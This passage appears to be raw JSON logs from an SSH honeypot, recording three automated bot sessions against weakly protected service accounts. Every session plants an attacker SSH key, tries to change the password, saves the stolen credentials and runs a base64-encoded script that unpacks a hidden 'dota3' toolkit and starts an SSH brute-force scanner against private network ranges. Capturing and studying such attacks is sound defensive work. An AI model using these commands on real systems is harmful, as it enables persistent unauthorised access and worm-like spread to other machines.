-l"},{"seq":4,"at":"2026-08-25T08:53:00.209213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T08:53:00.580705+00:00","kind":"input","latency_ms":null,"data":"echo -e \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\"|passwd|bash"},{"seq":6,"at":"2026-08-25T08:53:00.950768+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\\n\"|passwd"},{"seq":7,"at":"2026-08-25T08:53:01.322206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T08:53:01.322804+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T08:53:01.694757+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T08:53:02.425029+00:00","kind":"output","latency_ms":730,"data":"15888 15632 256 0 0 0"},{"seq":11,"at":"2026-08-25T08:53:02.797935+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T08:53:03.408189+00:00","kind":"output","latency_ms":607,"data":"-rwxr-xr-x 1 root root 142K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T08:53:03.777493+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T08:53:03.778776+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T08:53:04.149335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T08:53:04.150128+00:00","kind":"output","latency_ms":null,"data":" 08:53:04 up 5 days, 5:43, 0 user, load average: 0.04, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T08:53:04.521792+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T08:53:04.522242+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T08:53:04.894461+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T08:53:04.894763+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T08:53:05.267478+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T08:53:05.268619+00:00","kind":"output","latency_ms":null,"data":"top - 08:53:05 up 5 days, 5:43, 0 user, load average: 0.04, 0.05, 0.05\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T08:53:05.638627+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T08:53:05.638933+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T08:53:06.012568+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T08:53:06.013209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T08:53:06.383682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T08:53:06.385087+00:00","kind":"output","latency_ms":null,"data":"erpnext"},{"seq":29,"at":"2026-08-25T08:53:06.754016+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T08:53:07.954035+00:00","kind":"output","latency_ms":1199,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T08:53:08.334731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T08:53:09.191262+00:00","kind":"output","latency_ms":864,"data":"25G"},{"seq":33,"at":"2026-08-25T08:53:10.579224+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext erpnext@1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T08:53:10.990442+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T08:53:11.452088+00:00","kind":"output","latency_ms":461,"data":""},{"seq":36,"at":"2026-08-25T08:53:12.349132+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T08:53:13.184076+00:00","kind":"output","latency_ms":834,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":38,"at":"2026-08-25T08:53:13.556126+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T08:53:14.053563+00:00","kind":"output","latency_ms":495,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":40,"at":"2026-08-25T08:53:14.424910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T08:53:14.795309+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T08:53:16.717335+00:00","kind":"output","latency_ms":1921,"data":"dev,0000000000000000,0 0 0 0 0\n"},{"seq":43,"at":"2026-08-25T08:53:17.088114+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T08:53:17.618881+00:00","kind":"output","latency_ms":529,"data":"dev,0000000000000000,0 0 0 0 0"},{"seq":45,"at":"2026-08-25T08:53:17.990307+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T08:53:26.662068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-25T08:53:26.663709+00:00","kind":"output","latency_ms":null,"data":"erpnext"}],"credentials":[{"username":"erpnext","password":"erpnext@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ee9d9728-bdcb-4943-b9e5-368e21f93454","name":"whispering-hazy-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"98.70.50.166","src_port":41214,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":591,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T08:52:46.484465+00:00","ended_at":"2026-08-25T08:52:46.663187+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3815,"events":[{"seq":1,"at":"2026-08-25T08:52:05.349730+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T08:52:06.381071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T08:52:11.752776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T08:52:11.753247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T08:52:12.346333+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcd1234\\nIzFq4OhUT0Qc\\nIzFq4OhUT0Qc\"|passwd|bash"},{"seq":6,"at":"2026-08-25T08:52:12.929700+00:00","kind":"input","latency_ms":null,"data":"echo \"abcd1234\\nIzFq4OhUT0Qc\\nIzFq4OhUT0Qc\\n\"|passwd"},{"seq":7,"at":"2026-08-25T08:52:13.514446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T08:52:13.514808+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T08:52:14.105521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T08:52:14.936791+00:00","kind":"output","latency_ms":830,"data":"15888 1743 14123 220 0 1728"},{"seq":11,"at":"2026-08-25T08:52:15.522136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T08:52:16.163705+00:00","kind":"output","latency_ms":640,"data":"-rwxr-xr-x 1 root root 148K Apr 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T08:52:16.756663+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T08:52:16.757436+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T08:52:17.347431+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T08:52:17.347911+00:00","kind":"output","latency_ms":null,"data":" 08:52:17 up 5 days, 5:42, 0 user, load average: 0.12, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T08:52:17.940664+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T08:52:17.941179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T08:52:18.525898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T08:52:18.546897+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T08:52:19.127311+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T08:52:19.128184+00:00","kind":"output","latency_ms":null,"data":"top - 08:52:19 up 5 days, 5:42, 0 user, load average: 0.12, 0.09, 0.08\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T08:52:19.720449+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T08:52:19.721295+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T08:52:20.309809+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T08:52:20.310455+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T08:52:20.896022+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T08:52:20.896520+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-25T08:52:21.488660+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T08:52:25.071656+00:00","kind":"output","latency_ms":3581,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T08:52:25.661994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T08:52:26.303507+00:00","kind":"output","latency_ms":640,"data":"25G"},{"seq":33,"at":"2026-08-25T08:52:28.116281+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser abcd1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T08:52:28.715650+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T08:52:30.077057+00:00","kind":"output","latency_ms":1361,"data":""},{"seq":36,"at":"2026-08-25T08:52:30.808631+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T08:52:31.432556+00:00","kind":"output","latency_ms":623,"data":"emFsdmVyb3BlbiBwYWRkb2Nr\n"},{"seq":38,"at":"2026-08-25T08:52:32.029167+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T08:52:32.563240+00:00","kind":"output","latency_ms":538,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":40,"at":"2026-08-25T08:52:33.148732+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T08:52:33.741191+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T08:52:36.125960+00:00","kind":"output","latency_ms":2384,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":43,"at":"2026-08-25T08:52:36.720771+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T08:52:37.260311+00:00","kind":"output","latency_ms":538,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":45,"at":"2026-08-25T08:52:37.845435+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T08:52:38.531198+00:00","kind":"output","latency_ms":685,"data":""},{"seq":47,"at":"2026-08-25T08:52:46.487528+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T08:52:46.488190+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"abcd1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c9ca2c84-e599-4dfd-b40a-92acfaa16497","name":"stormy-pewter-otter","protocol":"ssh","channel_kind":"exec","src_ip":"195.178.191.5","src_port":46574,"username":"redmine","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":381,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T03:04:54.158569+00:00","ended_at":"2026-08-25T03:04:54.269691+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3561,"events":[{"seq":1,"at":"2026-08-25T03:04:24.979561+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T03:04:25.358261+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T03:04:30.197571+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T03:04:30.198289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T03:04:30.578684+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Qwerty123\\nPxqqniU0R1Q5\\nPxqqniU0R1Q5\"|passwd|bash"},{"seq":6,"at":"2026-08-25T03:04:30.957047+00:00","kind":"input","latency_ms":null,"data":"echo \"Qwerty123\\nPxqqniU0R1Q5\\nPxqqniU0R1Q5\\n\"|passwd"},{"seq":7,"at":"2026-08-25T03:04:31.336353+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T03:04:31.337071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T03:04:31.715472+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T03:04:32.820173+00:00","kind":"output","latency_ms":1103,"data":" 15888 1024 14864 0 0 0"},{"seq":11,"at":"2026-08-25T03:04:33.199844+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T03:04:33.715383+00:00","kind":"output","latency_ms":515,"data":"-rwxr-xr-x 1 root root 148K May 25 15:54 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T03:04:34.097159+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T03:04:34.097694+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T03:04:34.476815+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T03:04:34.477292+00:00","kind":"output","latency_ms":null,"data":" 03:04:34 up 4 days, 23:54, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T03:04:34.858028+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T03:04:34.858299+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T03:04:35.238140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T03:04:35.238497+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T03:04:35.618733+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T03:04:35.619291+00:00","kind":"output","latency_ms":null,"data":"top - 03:04:35 up 4 days, 23:54, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T03:04:35.999415+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T03:04:36.000131+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T03:04:36.381218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T03:04:36.381684+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T03:04:36.764585+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T03:04:36.765485+00:00","kind":"output","latency_ms":null,"data":"redmine"},{"seq":29,"at":"2026-08-25T03:04:37.151026+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T03:04:38.049656+00:00","kind":"output","latency_ms":897,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T03:04:38.434144+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T03:04:38.849032+00:00","kind":"output","latency_ms":413,"data":"29G"},{"seq":33,"at":"2026-08-25T03:04:39.975554+00:00","kind":"input","latency_ms":null,"data":"echo \"redmine Qwerty123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T03:04:40.355765+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T03:04:40.715353+00:00","kind":"output","latency_ms":359,"data":""},{"seq":36,"at":"2026-08-25T03:04:41.680608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T03:04:42.293367+00:00","kind":"output","latency_ms":612,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T03:04:42.676067+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T03:04:43.169502+00:00","kind":"output","latency_ms":494,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T03:04:43.551094+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T03:04:43.928478+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T03:04:44.474354+00:00","kind":"output","latency_ms":546,"data":"1"},{"seq":43,"at":"2026-08-25T03:04:44.854004+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T03:04:45.468747+00:00","kind":"output","latency_ms":613,"data":"1"},{"seq":45,"at":"2026-08-25T03:04:45.849846+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T03:04:46.346422+00:00","kind":"output","latency_ms":496,"data":""},{"seq":47,"at":"2026-08-25T03:04:54.160208+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T03:04:54.160826+00:00","kind":"output","latency_ms":null,"data":"redmine"}],"credentials":[{"username":"redmine","password":"Qwerty123","method":"password","accepted":true,"tier":"other"}]} 